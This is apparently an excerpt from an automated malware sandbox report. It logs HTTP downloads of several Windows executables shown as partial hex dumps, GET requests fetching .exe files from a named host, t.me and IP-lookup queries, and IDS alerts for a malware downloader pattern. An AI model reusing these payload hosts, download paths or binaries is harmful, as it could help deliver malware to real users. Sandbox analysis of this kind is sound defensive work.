2a 34 36 2c 52 a7 36 34 2a 34 36 25 2a 35 36 89 2a 34 36 3e b7 9e 36 2b 2a 34 36 3e b7 ae 36 24 2a 34 36 3e b7 a9 36 24 2a 34 36 52 69 63 68 25 2a 34 36 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 cf e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 70 00 00 00 3a 42 00 00 42 00 00 99 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 a0 4b 00 00 04 00 00 30 60 1c 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b 00 00 b4 00 00 00 00 30 47 00 ee 26 04 00 00 00 00 00 00 00 00 00 d9 7d 1b 00 40 25 00 00 00 90 3f 00 48 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1c 6f 00 00 00 10 00 00 00 70 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 62 2a 00 00 00 80 00 00 00 2c 00 00 00 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 66 3e 00 00 b0 00 00 00 02 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 20 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 ee 26 04 00 00 30 47 00 00 28 04 00 00 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0e 32 00 00 00 60 4b 00 00 34 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 11 Sep 2024 14:22:17 GMTContent-Type: application/octet-streamContent-Length: 6626133Last-Modified: Wed, 11 Sep 2024 14:09:32 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66e1a49c-651b55"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 24 84 32 e2 60 e5 5c b1 60 e5 5c b1 60 e5 5c b1 d4 79 ad b1 68 e5 5c b1 d4 79 af b1 eb e5 5c b1 d4 79 ae b1 6d e5 5c b1 e0 9e a1 b1 62 e5 5c b1 e0 9e 58 b0 72 e5 5c b1 e0 9e 5f b0 6a e5 5c b1 e0 9e 59 b0 59 e5 5c b1 69 9d df b1 69 e5 5c b1 69 9d db b1 62 e5 5c b1 69 9d cf b1 67 e5 5c b1 60 e5 5d b1 43 e4 5c b1 ee 9e 59 b0 52 e5 5c b1 ee 9e 5c b0 61 e5 5c b1 ee 9e a3 b1 61 e5 5c b1 ee 9e 5e b0 61 e5 5c b1 52 69 63 68 60 e5 5c b1 00 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 23 97 40 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 21 00 68 04 00 00 86 02 00 00 00 00 00 e0 2e 03 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 10 08 00 00 04 00 00 00 00 00 00 02 00 60 c1 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 a0 97 05 00 34 00 00 00 d4 97 05 00 50 00 00 00 00 00 07 00 7c ff 00 00 00 a0 06 00 6c 30 00 00 00 00 00 00 00 00 00 00 00 00 08 00 70 09 00 00 c0 36 05 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 37 05 00 28 00 00 00 f0 b3 04 00 40 01 00 00 00 00 00 00 00 00 00 00 00 80 04 00 08 05 00 00 bc 88 05 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6e 67 04 00 00 10 00 00 00 68 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 28 01 00 00 80 04 00 00 2a 01 00 00 6c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 5c e7 00 00 00 b0 05 00 00 1a 00 00 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 6c 30 00 00 00 a0 06 00 00 32 00 00 00 b0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 60 03 00 00 00 e0 06 00 00 04 00 00 00 e2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 5f 52 44 41 54 41 00 00 5c 01 00 00 00 f0 06 00 00 02 00 00 00 e6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 7c ff 00 00 00 00 07 00 00 00 01 00 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 70 09 00 00 00 00 08 00 00 0a 00 00 00 e8 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 11 Sep 2024 14:22:18 GMTContent-Type: application/octet-streamContent-Length: 8684256Last-Modified: Tue, 03 Sep 2024 13:26:30 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d70e86-8482e0"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 a8 b8 50 f6 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 08 80 00 00 9e 03 00 00 00 00 00 ce 26 80 00 00 20 00 00 00 40 80 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 84 00 00 04 00 00 49 b2 84 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 26 80 00 4b 00 00 00 00 60 80 00 d6 97 03 00 00 00 00 00 00 00 00 00 00 aa 83 00 e0 d8 00 00 00 00 84 00 0c 00 00 00 36 26 80 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 06 80 00 00 20 00 00 00 08 80 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 a0 02 00 00 00 40 80 00 00 04 00 00 00 0c 80 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d6 97 03 00 00 60 80 00 00 98 03 00 00 10 80 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 84 00 00 02 00 00 00 a8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 11 Sep 2024 14:22:22 GMTContent-Type: application/octet-streamContent-Length: 320000Last-Modified: Wed, 11 Sep 2024 13:12:37 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66e19745-4e200"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4c 7d e1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d8 04 00 00 08 00 00 00 00 00 00 5e f7 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 f7 04 00 4b 00 00 00 00 00 05 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 05 00 0c 00 00 00 d8 f5 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 64 d7 04 00 00 20 00 00 00 d8 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 00 06 00 00 00 00 05 00 00 06 00 00 00 da 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 05 00 00 02 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 f7 04 00 00 00 00 00 48 00 00 00 02 00 05 00 68 e8 04 00 70 0d 00 00 03 00 02 00 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 a4 9c 3a 83 4a ce 4c 72 5b c8 6e 07 05 02 7a 39 97 c3 38 93 26 5c 82 ba 52 c3 4c 6f d2 af 26 b0 32 f6 db 0b 80 be 73 6e 28 f2 a6 52 0e bc 4f 87 4b 6a 65 80 48 2c df 2a 1e 0c 70 14 3f 59 a4 d9 c9 3d 92 cb 8e 53 9d 96 48 00 c1 12 63 6d 73 5d 32 26 4e 49 da 07 d8 fe eb 73 30 9e 54 71 d9 c9 9d b9 87 f4 7e e0 3d 67 85 ab 85 c7 18 26 af 36 fc ff f5 c6 63 2d d6 a7 9b d5 66 4f 39 56 62 6a 9b 43 7f a5 5d b5 28 a3 34 1a a5 a8 5f c0 45 08 69 56 76 9b 36 52 8a 55 2c 53 fd 60 1b 54 de e7 ad 2b 68 c6 c0 04 68 4a 77 86 85 49 6a 2b bd b6 b0 60 50 0a a5 f1 ea b2 20 ef 83 05 47 b9 ca 20 7b b3 1e 65 89 9d 69 97 43 56 f4 25 04 67 c6 28 ca e1 d8 bf ca 7b 2e c7 90 0f 5d ea 6e 33 5d 52 83 a7 0b dd e6 9f e6 6a 37 a9 74 8d fd 9a 3c 0a cc b7 d0 37 47 85 b7 63 44 1c 58 e1 f7 f5 ff ef 93 6d 04 d1 97 71 6e a9 4d d0 4c 84 0d 3a b8 f0 da 73 35 b4 5e 2f 80 a5 4f 57 26 a8 2b 6a dd ca d7 80 13 5b 3d 98 0d 56 c7 2d b9 5b d8 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 11 Sep 2024 14:22:22 GMTContent-Type: application/octet-streamContent-Length: 21402624Last-Modified: Sat, 07 Sep 2024 18:21:29 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66dc99a9-1469400"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 3e 46 01 00 00 00 00 e0 00 02 01 0b 01 03 00 00 7a 65 00 00 c2 07 00 00 00 00 00 90 f6 06 00 00 10 00 00 00 10 36 01 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 80 4b 01 00 04 00 00 24 aa 46 01 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 30 42 01 5e 04 00 00 00 20 4b 01 2f 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 42 01 a4 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 34 36 01 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 48 79 65 00 00 10 00 00 00 7a 65 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 74 7c d0 00 00 90 65 00 00 7e d0 00 00 7e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e0 15 0c 00 00 10 36 01 00 6e 07 00 00 fc 35 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 5e 04 00 00 00 30 42 01 00 06 00 00 00 6a 3d 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 a4 cc 08 00 00 40 42 01 00 ce 08 00 00 70 3d 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 73 79 6d 74 61 62 00 04 00 00 00 00 10 4b 01 00 02 00 00 00 3e 46 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 2e 72 73 72 63 00 00 00 2f 53 00 00 00 20 4b 01 00 54 00 00 00 40 46 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 11 Sep 2024 14:22:25 GMTContent-Type: application/octet-streamContent-Length: 6623829Last-Modified: Wed, 11 Sep 2024 11:06:52 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66e179cc-651255"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 41 1f e1 66 00 da 5e 00 71 25 00 00 e0 00 06 01 0b 01 02 23 00 a6 47 00 00 2c 5a 00 00 e4 66 00 b0 14 00 00 00 10 00 00 00 c0 47 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 60 c6 00 00 06 00 00 74 0a 66 00 02 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 10 b3 00 42 00 00 00 00 20 b3 00 e4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 b3 00 5c 2a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 6c 48 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 21 b3 00 90 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 a5 47 00 00 10 00 00 00 a6 47 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 48 15 00 00 00 c0 47 00 00 16 00 00 00 ac 47 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 58 9e 00 00 00 e0 47 00 00 a0 00 00 00 c2 47 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2f 34 00 00 00 00 00 00 0c 92 03 00 00 80 48 00 00 94 03 00 00 62 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 62 73 73 00 00 00 00 54 e2 66 00 00 20 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 42 00 00 00 00 10 b3 00 00 02 00 00 00 f6 4b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 e4 09 00 00 00 20 b3 00 00 0a 00 00 00 f8 4b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 34 00 00 00 00 30 b3 00 00 02 00 00 00 02 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 40 b3 00 00 02 00 00 00 04 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 5c 2a 0e 00 00 50 b3 00 00 2c 0e 00 00 06 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 31 34 00 00 00 00 00 90 06 00 00 00 80 c1 00 00 08 00 00 00 32 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 32 39 00 00 00 00 00 c4 a7 01 00 00 90 c1 00 00 a8 01 00 00 3a 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 31 00 00 00 00 00 58 4c 00 00 00 40 c3 00 00 4e 00 00 00 e2 5b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 11 Sep 2024 14:22:30 GMTContent-Type: application/octet-streamContent-Length: 2590720Last-Modified: Tue, 10 Sep 2024 15:59:38 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66e06cea-278800"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f 30 c0 9b 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 e8 24 00 00 9e 02 00 00 00 00 00 4e 06 25 00 00 20 00 00 00 20 25 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 27 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 00 06 25 00 4b 00 00 00 00 20 25 00 5c 9a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 27 00 0c 00 00 00 ab 05 25 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 e6 24 00 00 20 00 00 00 e8 24 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 5c 9a 02 00 00 20 25 00 00 9c 02 00 00 ea 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 27 00 00 02 00 00 00 86 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 06 25 00 00 00 00 00 48 00 00 00 02 00 05 00 f0 8f 01 00 60 ce 03 00 03 00 00 00 42 00 00 06 50 5e 05 00 3b a5 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 28 59 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 59 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 59 0c 00 06 2a 00 13 30 03 00 91 00 00 00 01 00 00 11 28 59 0c 00 06 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 03 00 00 00 24 00 00 00 3f 00 00 00 5a 00 00 00 38 1f 00 00 00 2a 73 19 00 00 0a 80 05 00 00 04 38 00 00 00 00 73 1a 00 00 0a 80 06 00 00 04 38 e1 ff ff ff 73 1b 00 00 0a 80 03 00 00 04 20 02 00 00 00 16 39 b6 ff ff ff 26 38 ac ff ff ff 73 1c 00 00 0a 80 02 00 00 04 20 00 00 00 00 16 39 9b ff ff ff 26 38 91 ff ff ff 73 1d 00 00 0a 80 04 00 00 04 38 9d ff ff ff 00 00 00 13 30 02 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 02 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 02 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 02 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 02 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00

Source: global traffic	HTTP traffic detected: GET /edm0d HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vhtrw.exe HTTP/1.1Host: fallaeltro.esIf-Modified-Since: Wed, 11 Sep 2024 05:23:55 GMTCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lgrn.exe HTTP/1.1Host: fallaeltro.esCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /edm0d HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=6ce43228477eb2573b_11654436568239867088
Source: global traffic	HTTP traffic detected: GET /edm0d HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=6ce43228477eb2573b_11654436568239867088

Source: unknown	DNS query: name: api64.ipify.org
Source: unknown	DNS query: name: ipinfo.io

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49738 -> 176.113.115.187:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49736 -> 176.113.115.33:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49734 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49737 -> 31.41.244.9:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49735 -> 147.45.44.104:80
